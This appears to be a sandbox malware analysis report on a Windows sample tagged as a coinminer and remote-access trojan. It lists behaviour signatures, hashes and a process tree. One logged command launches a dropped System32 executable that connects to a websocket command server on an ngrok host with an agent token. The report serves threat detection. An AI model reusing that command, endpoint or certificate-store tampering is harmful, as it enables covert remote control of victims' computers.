Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 10:01

General

  • Target
    2026-06-04_6de2146a1cfa6b8cebe1e8496bf7f3b2_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
  • Size 15.8MB
  • Sample260604-l2hlhsct7w
  • SHA256 dc5307e6d733fb71efe236861383393d53fb955687557ce89489e81925522e60
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • Modifies system certificate store 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-04_6de2146a1cfa6b8cebe1e8496bf7f3b2_coinminer_dosia_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-04_6de2146a1cfa6b8cebe1e8496bf7f3b2_coinminer_dosia_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2000
  • C:\Windows\System32\ServerGuardian.exe
    C:\Windows\System32\ServerGuardian.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3536
    • C:\Windows\System32\ServerGuardian.exe
      "C:\Windows\System32\ServerGuardian.exe" worker --server-url wss://oyster-crowd-phoenix.ngrok-free.dev/ws/agent --token troque-este-token-de-agente --id d2e585dc-ee5c-4ce9-8b66-542c66730d2b
      2⤵
      • Executes dropped EXE
      • Modifies trusted root certificate store through registry
      • Modifies system certificate store
      • Suspicious use of AdjustPrivilegeToken
      PID:1464

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        agent_id

        • Path C:\ProgramData\ServerGuardian\agent_id
        • Size 36B
        • SHA256 eade4f89331d12ca2f18b656024ad369df271edb79aa3fa9834004d41dc0cf82
        • MD5 SHA1 SHA512

        ServerGuardian.exe

        • Path C:\Windows\System32\ServerGuardian.exe
        • Size 15.8MB
        • SHA256 dc5307e6d733fb71efe236861383393d53fb955687557ce89489e81925522e60
        • MD5 SHA1 SHA512 SSDEEP TLSH